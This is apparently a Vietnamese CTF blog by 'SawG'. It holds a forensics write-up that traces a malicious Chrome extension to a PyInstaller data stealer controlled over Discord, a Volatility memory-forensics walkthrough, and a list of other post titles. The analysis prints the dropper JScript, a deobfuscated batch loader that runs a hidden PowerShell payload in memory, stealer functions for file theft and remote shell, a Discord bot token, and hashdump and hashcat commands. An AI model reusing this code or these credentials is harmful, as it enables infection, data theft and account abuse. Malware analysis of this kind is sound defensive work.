Trong bài viết có đề cập đến path sau: <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HJglv66Xee.png" alt="image">

Và có thể không phải ngẫu nhiên mà tác giả đã để lại thư mục App Data cho chúng ta.

Truy cập theo path trên thì tôi đã thấy được file History, và trong magic header nó cũng cho chúng ta biết đây là một file SQLite, chúng ta có thể sử dụng tool như db Browser (SQLite) để mở nó sau khi đã dump nó ra. <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HkPRPpT7xe.png" alt="image">

'' Sau khi dump và load file History này vào db Browser, tôi tìm đến dữ liệu của bảng Downloads, thì ở đây nó sẽ chứa tất cả các lịch sử download của nạn nhân.

Và ở đây, ta thấy được là nạn nhân đã tải một file có tên C:\Users\S4m Sm1th\Downloads\hack-fap-fpt-chrome-extension.zip Thì không còn gì bàn cãi, đây chính là phần mềm lạ mà S4m Sm1th đã tải về cũng như author đã đề trong description của đề.

Nhưng, tiếp theo ta phải tìm file Zip này ở đâu? Tác giả đâu hề cho ta thư mục Download. <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HJwioap7ex.png" alt="image">

Sau một lục lọi và suy nghĩ lại thì toi trợ nhớ tên file có nhắc đến chrome-extension, à há chắc là folder chứa malware này cần phải import thì mới có thể sử dụng.

Nhưng, import vào đâu? <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HJwioap7ex.png" alt="image">

Thì phải research thôi chứ sao. Sau một thoáng research thì tôi tìm được site sau: https://www.ninjaone.com/blog/where-are-chrome-extensions-stored/

Truy cập theo path trên thì <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/rJmlR667le.png" alt="image"> Có đến tận 4 cái extension, và khi import extension vào thì tên của bọn nó đã bị chrome encode đi, thì làm sao ta biết được entension nào là nguyên hiểm, chứa mã độc? <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/ryb006Tmxl.png" alt="image">

Thì trong các folder extension này, đều có 1 file manifest.json, file này chứa các thông tin của extension dưới dạng json. <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/BJhO1CTXxl.png" alt="image">

Và lục lọi một tí thì toi thấy được extension hcekfkjfkcfoeohaponopofdhogpecif có file manifest có đề cập đến fap, và trong file .zip do nạn nhân tải về cũng có tên là hack-fap-fpt-chrome-extension.zip, thì đây đích thị là nó. <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HJFweR6Qex.png" alt="image">

okela, dump nó ra để kiểm tra thoi.

sau khi dump và mở folder extension này bằng vscode, và bắt đầu tìm kiếm những dấu vết đáng nghi thì mình thấy file Content.js này có một hàm tên inject() và có 1 biến aso_ibora chứa một chuỗi kí tự vô cùng dài, thì theo kinh nghiệm của mình thì nó đang encode cho một thứ gì đó (trông nguy hiểm phết).

các bạn có thể thấy, nó rất rất dài

và lướt đến cuối chuỗi thì mình thấy đoạn code sau:

var silver = WScript.CreateObject("Microsoft.XMLDOM");

	var sinema = silver.createElement("tmp");

	sinema.dataType = "bin.base64";

	sinema.text = aso_ibora;

	var sugar = WScript.CreateObject("ADODB.Stream");
	sugar.Type = 1;
	sugar.Open();
	sugar.Write(sinema.nodeTypedValue);
	var wshShell = WScript.CreateObject("WScript.Shell");
	var tempdir = wshShell.ExpandEnvironmentStrings("%temp%");
	var appdatadir = wshShell.ExpandEnvironmentStrings("%appdata%");
	var path = "yum.bat";
	var is_temp = false;

	if (is_temp) {
		path = tempdir + "\\" + path;
	} else {
		path = appdatadir + "\\" + path;
	}

	sugar.SaveToFile(path, 2);
	if (path.endsWith(".jar")) {
		wshShell.run("java -jar \"" + path + "\"");
	} else if (path.endsWith(".bat") || path.endsWith(".wsf")) {
		wshShell.run("wscript \"" + path + "\"");
	} else {
		wshShell.run("\"" + path + "\"");
	}
	} catch (err) {
		WScript.Echo(err.message);
	}

oke bắt đầu phân tích nào

Đầu tiên

var silver = WScript.CreateObject("Microsoft.XMLDOM");
var sinema = silver.createElement("tmp");
sinema.dataType = "bin.base64";
sinema.text = aso_ibora;

thì ta có thể thấy:

var silver = WScript.CreateObject("Microsoft.XMLDOM");: Tạo đối tượng DOM XML.
var sinema = silver.createElement("tmp");: Tạo phần tử <tmp>.
sinema.dataType = "bin.base64";: Đặt loại dữ liệu là Base64.
sinema.text = aso_ibora;: Gán chuỗi Base64 từ aso_ibora vào <tmp>.

Tóm lại nó sẽ tạo phần tử XML để nhúng dữ liệu nhị phân là chuỗi dữ liệu của biến aso_ibora trên, cũng như là ta có thể xác nhận chuỗi đó là đang được encode theo kiểu Base64.

var sugar = WScript.CreateObject("ADODB.Stream");
sugar.Type = 1;
sugar.Open();
sugar.Write(sinema.nodeTypedValue);
var wshShell = WScript.CreateObject("WScript.Shell");
var tempdir = wshShell.ExpandEnvironmentStrings("%temp%");
var appdatadir = wshShell.ExpandEnvironmentStrings("%appdata%");
var path = "yum.bat";
var is_temp = false;

var sugar = WScript.CreateObject("ADODB.Stream");: Tạo đối tượng luồng (stream) ADODB.
sugar.Type = 1;: Đặt loại luồng là nhị phân (binary).
sugar.Open();: Mở luồng để ghi dữ liệu.
sugar.Write(sinema.nodeTypedValue);: Ghi dữ liệu nhị phân từ sinema.nodeTypedValue vào luồng.
var wshShell = WScript.CreateObject("WScript.Shell");: Tạo đối tượng Shell.
var tempdir = wshShell.ExpandEnvironmentStrings("%temp%");: Lấy đường dẫn thư mục tạm (%temp%).
var appdatadir = wshShell.ExpandEnvironmentStrings("%appdata%");: Lấy đường dẫn thư mục AppData (%appdata%).
var path = "yum.bat";: Định nghĩa tên tệp là "yum.bat".

tóm lại là nó sẽ chuẩn bị ghi dữ liệu nhị phân từ sinema vào tệp "yum.bat", và gọi đến path của các thư mục như Tmp hoặc AppData, để có thể lưu vào ở bước tiếp theo.

Cuối cùng:

if (is_temp) {
    path = tempdir + "\\" + path;
} else {
    path = appdatadir + "\\" + path;
}

sugar.SaveToFile(path, 2);
if (path.endsWith(".jar")) {
    wshShell.run("java -jar \"" + path + "\"");
} else if (path.endsWith(".bat") || path.endsWith(".wsf")) {
    wshShell.run("wscript \"" + path + "\"");
} else {
    wshShell.run("\"" + path + "\"");
}
} catch (err) {
    WScript.Echo(err.message);
}

Thì ở bước này nó sẽ lưu dữ liệu dưới dạng nhị phân đã xử lý ở trên vào file với đuôi như .bat hoặc .wsf và thực thi nó.

Oke thì dựa vào những dấu hiệu bất thường trên, chúng ta có thể xác nhận đây có thể là dropper của mã độc.

Tiếp theo, ta cần biết được đoạn base64 đó đang encode cho thứ gì. Copy và paste vào cyberchef để decode thử. <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/BkGbF0a7lg.png" alt="image">

với các lệnh như REM, set thì chúng ta có thể nhận định nó đang encode cho một Batch Script. Nhưng trông rất khó hiểu đúng không? Đúng rồi, vì nó đã bị obfuscate mà, cụ thể là String obfuscate

Thực hiện deobfuscate thì ta được script sau:

@echo off
set "RegistryKeyName_Channel=_NT_SYMBOL_CHANNEL_"
reg add "HKEY_CURRENT_USER\Environment" /v %RegistryKeyName_Channel% /d "1258850437876944929" /f
set "RegistryKeyName_ID=_NT_SYMBOL_ID"
reg add "HKEY_CURRENT_USER\Environment" /v %RegistryKeyName_ID% /d "1258850435972993145" /f
echo F | xcopy /d /q /y /h /i "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "%~0.Qjv" # Evasion
attrib +s +h "%~0.Qjv"
set "CurrentScriptPath=%~dpnx0"
"%~0.Qjv" -WindowStyle hidden -command "$base64String = Get-Content '%CurrentScriptPath%' | select-object -Last 1; $compressedBytes = [System.Convert]::FromBase64String($base64String);$compressedStream = New-Object System.IO.MemoryStream( , $compressedBytes);$decompressedStream = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream($compressedStream, [System.IO.Compression.CompressionMode]::Decompress);$gzipStream.CopyTo($decompressedStream);$gzipStream.Close();$compressedStream.Close();[byte[]]$decompressedPayloadBytes = $decompressedStream.ToArray();[Array]::Reverse($compressedBytes);$loadedAssembly = [System.Threading.Thread]::GetDomain().Load($decompressedPayloadBytes);$loadedAssembly.EntryPoint.DeclaredMethods[0].Invoke($null, [object[]]($null)) | Out-Null"
exit

như ta có thể thấy nó sẽ thêm một số key vào registry, một hành vi khá phổ biến của các malware, bọn nó làm điều này nhằm tạo persistence lên máy nạn nhân.

ngoài ra script sẽ gắn các biến môi trường vào bên trong máy. Sau đó thực hiện lệnh powershell.

Đọc dòng cuối của file
Giải mã base64
Decompress Gzip
Đảo ngược chuỗi
Load chương trình

Oke khi hiểu được quá trình dropper của malware rồi, ta sẽ thử áp dụng thủ công các bước trên ta thu được 1 file .gz <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/rk8NkyRmgx.png" alt="image">

Tải về và ta sẽ thấy trong file .gz này có chứa 1 file tên là stealer <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/SkDZlJ0mxg.png" alt="image">

Nhưng theo logic của lệnh powershell, thì thằng stealer này đã bị đảo ngược vị trí các byte. Để kiểm tra điều này thì ta cũng có thể giải nén và quăng vào tool HxD để thấy rõ điều đó.

<img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/r1gxbkR7gl.png" alt="image"> Thì ta sẽ thấy ZM ở cuối file, nếu đúng thì nó sẽ phải là MZ và sẽ nằm ở đầu file vì đây chính là magic header của file execute trên hđh windows 64-bit. Chứng tỏ thằng này đã bị reverse byte theo đúng như logic powershell của thằng dropper.

Chúng ta sẽ tiến hành reverse lại byte của file bằng cyberchef. Ta sẽ thu được 1 file execute: <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HyJL7JRQgl.png" alt="image">

Khi tải về thì ta sẽ thấy 1 file .exe với icon là 1 trăn, dấu hiệu rất đặc trưng cho thấy nó đã được biên dịch bằng PyInstaller <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/H1GKXJC7gl.png" alt="image"> có thể tìm hiểu thêm ở đây (https://pyinstaller.org/en/stable/)

Hoặc có thể sử dụng tool như Exeinfo PE để kiểm tra để chắc chắn hơn. <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/r139SkAQgg.png" alt="image">

Tiếp đó khi biết nó được compile bằng pyinstaller, ta sẽ sử dụng pyinstxtractor để tách các tài nguyên như windows api, thư viện,... mà file .exe này yêu cầu khi chạy và đặc biệt ta sẽ lấy được file .pyc, nó là file python byte code. https://github.com/extremecoders-re/pyinstxtractor <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/S1LMO1R7lg.png" alt="image">

Chúng ta thu được stealer.pyc <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/S1-NFkCQee.png" alt="image">

tiếp tục sử dụng uncompyle6 để decompile file stealer.pyc và thu được stealer.py <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/By6G9JAmgx.png" alt="image">

Đây là 1 phần script:

# uncompyle6 version 3.9.2
# Python bytecode version base 3.7.0 (3394)
# Decompiled from: Python 3.12.3 (main, Feb  4 2025, 14:48:35) [GCC 13.3.0]
# Embedded file name: stealer.py
import discord
from discord.ext import commands
import os, zipfile, ctypes, ctypes.wintypes, winreg, base64, subprocess, requests, json, sqlite3, shutil
from Crypto.Cipher import AES
from ctypes import POINTER, Structure, byref, c_buffer, c_char, cdll, windll, wintypes

class DATA_BLOB(ctypes.Structure):
    _fields_ = [
     (
      "cbData", wintypes.DWORD),
     (
      "pbData", POINTER(c_char))]


def OyKlniwfDd(blob_out):
    cbData = int(blob_out.cbData)
    pbData = blob_out.pbData
    buffer = ctypes.create_string_buffer(cbData)
    ctypes.cdll.msvcrt.memcpy(buffer, pbData, cbData)
    windll.kernel32.LocalFree(pbData)
    return buffer.raw


...

Thằng này cũng đã bị obfuscate, nhưng chỉ là đặt tên biến, tên hàm bằng những chuỗi ngẫu nhiên thôi, không quá phức tạp.

đây là 1 phần script khi đã được deobfuscate:

import discord
from discord.ext import commands
import os, zipfile, ctypes, ctypes.wintypes, winreg, base64, subprocess, requests, json, sqlite3, shutil
from Crypto.Cipher import AES
from ctypes import POINTER, Structure, byref, c_buffer, c_char, cdll, windll, wintypes

class DATA_BLOB(ctypes.Structure):
    _fields_ = [
     (
      "cbData", wintypes.DWORD),
     (
      "pbData", POINTER(c_char))]


def extract_blob_data(blob_out):
    cbData = int(blob_out.cbData)
    pbData = blob_out.pbData
    buffer = ctypes.create_string_buffer(cbData)
    ctypes.cdll.msvcrt.memcpy(buffer, pbData, cbData)
    windll.kernel32.LocalFree(pbData)
    return buffer.raw


...

script stealer.py đã deofuscate https://github.com/SawG23/CTF-writeups/blob/main/FIACTF2025/stealer_cleaned.py

có một số hàm quan trọng như

find_and_encrypt_user_files():

def find_and_encrypt_user_files():
    target_extensions = [
     '.png', '.pdf', '.jpg', '.docx', '.xlsx', '.xls', '.doc', '.pptx', 
     '.csv', 
     '.rtf', '.jpeg', '.html', '.odt', '.sql', '.txt', 
     '.xml', '.zip', 
     '.rar', '.7z', '.tar', '.gz', '.tgz']
    user_profile_path = os.environ["USERPROFILE"]
    target_directories = [
     os.path.join(user_profile_path, "Desktop"),
     os.path.join(user_profile_path, "Documents"),
     os.path.join(user_profile_path, "Pictures"),
     os.path.join(user_profile_path, "Downloads"),
     os.path.join(user_profile_path, "Music"),
     os.path.join(user_profile_path, "Videos")]
    found_files = []
    for directory in target_directories:
        for root, _, files in os.walk(directory):
            for file_name in files:
                if any((file_name.endswith(ext) for ext in target_extensions)):
                    found_files.append(os.path.join(root, file_name))

    zip_path = os.path.join(target_directories, "Upload.zip")
    try:
        with zipfile.ZipFile(zip_path, "w") as zipf:
            for file_to_zip in found_files:
                zipf.write(file_to_zip, os.path.relpath(file_to_zip, user_profile_path))

        encrypt_file_with_rc4((f"{zip_path}"), (f"{zip_path}"), (f"{get_public_ip()}"))
    except Exception as e:
        try:
            return 0
        finally:
            e = None
            del e

    return zip_path

Nó sẽ đánh cấp dữ liệu với các file có extension như '.png', '.pdf', '.jpg', '.docx', . . . ở trong các thư mục Desktop, Documents, Downloads, . . . của nạn nhân, đồng thời sẽ nén lại trong một file zip và sử dụng mã hóa RC4 với key là ip public của máy nạn nhân, sau đó gửi đến C2 server của hacker, ở trường hợp này sẽ là discord Guild

cmd_execute_shell():

@bot.command(name="execshell")
@commands.is_owner()
async def cmd_execute_shell(ctx, *args):
    try:
        command_string = " ".join(args)
        full_command = f"powershell -Command {command_string}"
        process_result = subprocess.run(full_command, shell=True, capture_output=True, text=True)
        output = process_result.stdout + process_result.stderr
        if len(output) < 1990:
            await ctx.send(f"```\n{output}\n```")
        else:
            for i in range(0, len(output), 1990):
                await ctx.send(f"```\n{output[i:i + 1990]}\n```")

    except Exception as e:
        try:
            return 0
        finally:
            e = None
            del e

dùng để nhận lệnh từ C2 server và thực thi shell trên máy nạn nhân và gửi kết quả cho hacker. Tương tự như vậy:

globalinfo: lấy thông tin của máy
quit: ngắt kết nối
steal: lấy hết thông tin trong browser của nạn nhân
showHis: lấy thông tin lịch sử truy cập của nạn nhân
showDown: xem lịch sử download của nạn nhân
download: thực hiện lấy các file trên máy nạn nhân

Một số thông tin về cấu hình C2 server:

def main():
    run_full_browser_steal()
    bot.run(TOKEN)


TOKEN = "MTA3NzU5NzY4MTgwOTExNzI1NA.GdNmEs.6Phdg_2uMHnZolzuXdz8OZZsTgpw63Df1vJtt0"
SERVER_ID = int(get_env_variable_from_registry("_NT_SYMBOL_ID"))
CHANNEL_ID = int(get_env_variable_from_registry("_NT_SYMBOL_CHANNEL_"))
if __name__ == "__main__":
    main()

dựa vào đây chúng ta có thể tìm ra được C2 server bằng SERVER ID mà malware đã ghi vào Registry và tool sau: https://discordlookup.com/guild

BINGOOO0o0o0ooo000o <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HkOfSeRmgl.png" alt="image">

Nhưng tới đây vẫn chưa xong đâu :<< . <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/SkRNUeC7xe.png" alt="image">

Flag chúng ta cần vẫn không nằm trong C2 server này.

Sau một hồi lục lọi thì tôi để ý đến file .zip đã nén những dữ liệu của nạn nhân và gửi về C2. Oke tải nó về xem có gì thú vị không. <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HJ2gvlRmlx.png" alt="image"> Chời ơi, nó lại bị gì thế này. <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/rkMuDxRQll.png" alt="image">

hmmmmmm.......... à đúng rồi, chúng ta đã quên rằng file .zip này đã bị mã hóa RC4, vậy thì decrypt thoi. nhưng key (ip public) ở đâu để decrypt? <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/rJ5qOeC7xg.png" alt="image"> Oke đây rồi, nó nằm trong đoạn chat của hacker và bot discord.

oke header có PK thì có vẻ uy tín rồi đấy. <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HJ3UteCQeg.png" alt="image">

Đây rồiiiiiiiiii. <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HJi19l0Xge.png" alt="image">

Oke thì đấy là toàn bộ challenge này, một challenge tôi thấy rất thú vị.

Cảm ơn bạn đã đọc đến cuối bài.

____ EagleBoiz a.k.a SawG

Bài tập của ai rồ Jerryyy - Vạn sự khởi đầu nan

Thu, 27 Feb 2025 00:00:00 GMT

Oke thì đây là 1 wu của chall "Vạn sự khởi đầu nan". Challenge này thuộc về mảng meme forensics

Challenge sẽ có 1 file attachment .raw

Bước đầu tiên trong các bài về memory, thường sẽ recon về hđh của máy, để phục vụ cho viện điều tra sâu hơn và cũng như là điều bắt buộc nếu sử dụng vol2

╰─ python2 ~/tools/volatility2/vol.py -f Lab1.raw imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/e/CTF/2025/lmaoCTF/Lab1.raw)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf800028100a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002811d00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2019-12-11 14:38:00 UTC+0000
     Image local date and time : 2019-12-11 20:08:00 +0530

Thì có thể thấy nó có rất nhiều profile trùng với con máy này, toi sẽ sử dụng Win7SP1x64 nhé.

Tiếp theo thì xem những tiến trình đang chạy ở thời điểm capture để xem có gì sú sú không.

python2 ~/tools/volatility2/vol.py -f Lab1.raw --profile Win7SP1x64 pstree

thì ta có thể thấy có 1 vài process khá bất thường như cmd.exe, mspaint.exe(thằng này cũng được đề cập trong des "Khi xảy ra sự cố, tôi nhớ step bro mình đang vẽ một cái gì đấy. Đấy là toàn bộ những gì mình nhớ").

Bắt đầu tìm hiểu xem thằng cmd.exe đang làm gì.

Nó đang thực hiện việc gọi tới 1 file gì đó tên là St4G3$1

toi sẽ lục xem trong toàn hệ thống có file nào với tên St4G3$1 không.

(toi đã ghi kết quả của filescan vào file text cho dễ xem lại kết quả)

thì có 1 file là \Device\HarddiskVolume2\Windows\System32\St4G3$1.bat đang nằm ở offset 0x000000003edcfd70

0x000000003edcfc20      1      0 R--rw- \Device\HarddiskVolume2\Windows\System32\St4G3$1.bat

Toi sẽ dump để kiểm tra xem trong file đó có gì sú

python2 ~/tools/volatility2/vol.py -f Lab1.raw --profile Win7SP1x64 dumpfiles --dump-dir="/mnt/e/CTF/2025/lmaoCTF" -Q 0x000000003edcfc20

thì sau khi dump ra và đổi tên file lại, thì toi bỏ nó vào HxD để kiểm tra trước, thì thấy nó đang thực hiện việc echo 1 chuỗi base64, decode đoạn base64 này thì ta được flag 1 (thật ra chúng ta có thể decode ngay ở bước kiểm tra console, nhưng để mọi thứ sáng tỏ hơn thì toi đã dump ra luôn cho chắc).

flag1: flag{th1s_1s_th3_1st_st4g3!!}

vậy là giải quyết được 1/3 bài rồi, chúng ta tiếp tục nào.

ở flag 2 chúng ta được 1 manh mối trong description là "Khi xảy ra sự cố, tôi nhớ step bro mình đang vẽ một cái gì đấy"

Liên kết với mô tả này, chúng ta cũng thấy có 1 thằng process là mspaint.exe

Toi sẽ dump thử tiến trình này xem bên trong nó có gì thú vị không.

python2 ~/tools/volatility2/vol.py -f Lab1.raw --profile Win7SP1x64 memdump -p 2424 --dump-dir="/mnt/e/CTF/2025/lmaoCTF"

Thì ta được 1 file 2424.dmp

Tới đây toi lại gặp bế tắc, toi éo biết mở cái file này kiểu éo gì. Thử strings, HxD,... để xem rùa được không thì cũng không ăn thua.

Toi stuck ở đây chắc 3 4 tiếng, thấy mất thời gian quá toi qua đấm thử chall cuối luôn xem sao.

Toi bắt đầu lục lọi xem có manh mối gì cho chall3 không.

Cũng loay hoay một hồi không có gì để xoáy vào, thì toi mới nhớ idol toi có bảo nên sử dụng song song cả vol2 và vol3, nhiều lúc thằng này có mà thằng kia không có.

Toi bắt đầu pstree lại bằng vol3 để xem thử

vol -f Lab1.raw windows.pstree > pstreeVol3

Thì quả nhiên là có 1 process đang chạy WinRar mà có thể toi đã sót khi dùng vol2(pstree của vol3 cung cấp thông tin chi tiết hơn so với vol2).

Nó đang mở một file có tên là Important.rar. Thử qua filescan để xem vị trí file và offset của nó để tiện cho việc dump file.

oke chúng ta sẽ dump nó ra.

python2 ~/tools/volatility2/vol.py -f Lab1.raw --profile Win7SP1x64 dumpfiles --dump-dir="/mnt/e/CTF/2025/lmaoCTF" -Q 0x000000003fa3ebc0
Volatility Foundation Volatility Framework 2.6.1
DataSectionObject 0x3fa3ebc0   None   \Device\HarddiskVolume2\Users\Alissa Simpson\Documents\Important.rar

khi mở Important.rar này bằng WinRar thì có 1 dòng description: "Password is NTLM hash(in uppercase) of Alissa's account passwd."

Dựa vào mô tả trên, toi dùng hashdump để trích xuất các hash của các mật khẩu từ bộ nhớ của windows để lấy NTLM hash của user Alissa.

python2 ~/tools/volatility2/vol.py -f Lab1.raw --profile Win7SP1x64 hashdump

Toi sẽ crack NTLM hash này bằng hashcat

hashcat -m 1000 -a 0 test.txt rockyou.txt

và đây là kết quả:

f4ff64c8baac57d22f22edc681055ba6:goodmorningindia

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: f4ff64c8baac57d22f22edc681055ba6

Tôi sử dụng đoạn string đã được crack ở trên để nhập pass cho thằng Important.rar này. Nhưng tđn nó lại sai, wthhhhhhhhhhhhh.

xong wtf toi mới đọc lại description và nhận ra là éo cần crack, chỉ cần nhập chính xác đoạn NTLM hash đó ở dạng uppercase là được. Mé. Thoi dù gì cũng đã giải easter egg của tác giả vậy.

Trong file rar đó của 1 bức ảnh flag.

flag3: flag{w3ll_3rd_stage_was_easy}

Oke thì sau khi xong chall3 toi quầy lại chall2 để làm tiếp thì cũng éo thấy manh mối gì, bí quá toi đành đánh 1 giấc rồi tính :clown_face:.

Sau thời gian research mòn mỏi thì toi cũng đã tìm thấy được 1 writeup của giải Google-CTF-2016, trong đó có để cập việc xử lý raw image data bằng app GIMP (Chân ái đây rồi).

https://github.com/h4x0r/ctf-writeups/blob/master/Google-CTF-2016/For1/README.md

Trong writeup này cũng đề cập đến 1 cái blog: https://w00tsec.blogspot.com/2015/02/extracting-raw-pictures-from-memory.html

Trước khi mở file raw image data này bằng GIMP thì chúng ta cần đổi file extension của nó từ .dmp -> .data.

Lúc đầu khi mở nó chỉ là màu trắng này thoi, chúng ta cần phải điều chỉnh các thông số như offset, width, height của nó.

:shit: quằng kinh khủng.

Sau gần nửa tiếng hơn ngồi chỉnh tới lui thì nó cũng ra giống giống flag hơn rồi đấy.

Nhưng nếu để nhưng vậy thì đọc lòi mắt cũng chưa chắc được flag, nên chúng ta cần điều chỉnh thêm về việc xoay(rotate) và lật(flip) bức ảnh. Research cách dùng app này thì nó nằm ở mục tools nhé.

sau 1 vài điều chỉnh thì chúng ta cũng đã lấy được flag.

flag2: flag{G00d_Boy_good_girL}

SawG23

AMSI Bypass - Nguyên lý cốt lõi và góc nhìn của BlueTeam

1. Antimalware Scan Interface là gì?

2. AMSI hoạt động như thế nào?

3. Phân tích amsi.dll với IDA

3.1. AmsiInitialize()

3.1.1. Cấp phát amsiContext và Magic Header

3.1.2. Caller Identification

3.1.3. Khởi tạo Engine Scan COM

3.2. AmsiScanBuffer()

3.2.1. Validate đầu vào — cũng là điểm yếu của amsi.dll

3.2.2. CAmsiBufferStream

3.2.3. Dispatch qua vtable

4. AMSI kết hợp cùng ETW

5. Case study về kĩ thuật AMSI Bypass

5.1 Overview

5.2 Infection chain

5.3 AMSI, ETW Bypass

5.3.1. AMSI - Opcode Patching

5.3.2. Vô hiệu hóa ETW Event Logging

5.3.3 một số kĩ thuật khác

Accessing Undocumented APIs

Indirect API Call

ARCHITECTURE-AWARE

5.4. Kraken - Sherlock HackTheBox

6. Góc nhìn của Blue Team

6.1. Sysmon Event ID 10

6.2. PowerShell Script Block Logging — Event ID 4104

🔍 Indicators of Compromise (IOCs)

📚 Tài liệu tham khảo

HackTheBox - Sherlocks - Easy Money

Task 1: At what exact time did the user execute the malicious shortcut file?

Task 2: The previous malicious file executed an initial payload. What is the full path of this payload?

Task 3: At what timestamp did the payload execute and grant the attacker shell access?

Task 4: What is the command line the attacker used to enumerate installed packages on the system?

Task 5: Which application did the attacker identify as vulnerable?

Task 6: What version of that vulnerable application did the attacker identify?

Task 7: What is the CVE associated with this vulnerability?

Task 8: What is the name of the legitimate binary that the attacker used to deliver the malicious payload and establish persistence on the compromised system?

Task 9: What is the name of the malicious Portable Executable (PE) file that enabled him to accomplish his objective?

Task 10: What is the SHA-256 hash of that malicious file?

Task 11: How many milliseconds of cumulative coded sleep delays occurred before the C2 binary provided a shell after the vulnerable application was launched?

Task 12: What is the mutex name used to ensure only one instance of the C2 binary runs at a time?

Task 13: What is the full path of the Command and Control (C2) Binary?

Task 14: What is the name of the C2 framework used by the attacker?

Task 15: What is the IP address and port number of the malicious C2 server used by the attacker?

HackTheBox - RedTrail

Initial Access

tcp.stream eq 0

Credential Exfiltration

Persistence

Write malicious RDB & RCE:

Drop malware

Reverse Engineering

Dump malicious .SO file

RE with IDA

VCS Passport 2025 - Gimme Your Point

RCE (CVE-2025-53771, CVE-2025-53770)

Phân tích malware health_check.exe:

CSCV 2025 – NostalgiaS

NostalgiaS Write-up

FIA CTF CyberSus 2025 – frog10sion

Bài tập của ai rồ Jerryyy - Vạn sự khởi đầu nan

3.2.1. `Validate đầu vào` — cũng là điểm yếu của `amsi.dll`

3.2.2. `CAmsiBufferStream`

3.2.3. `Dispatch qua vtable`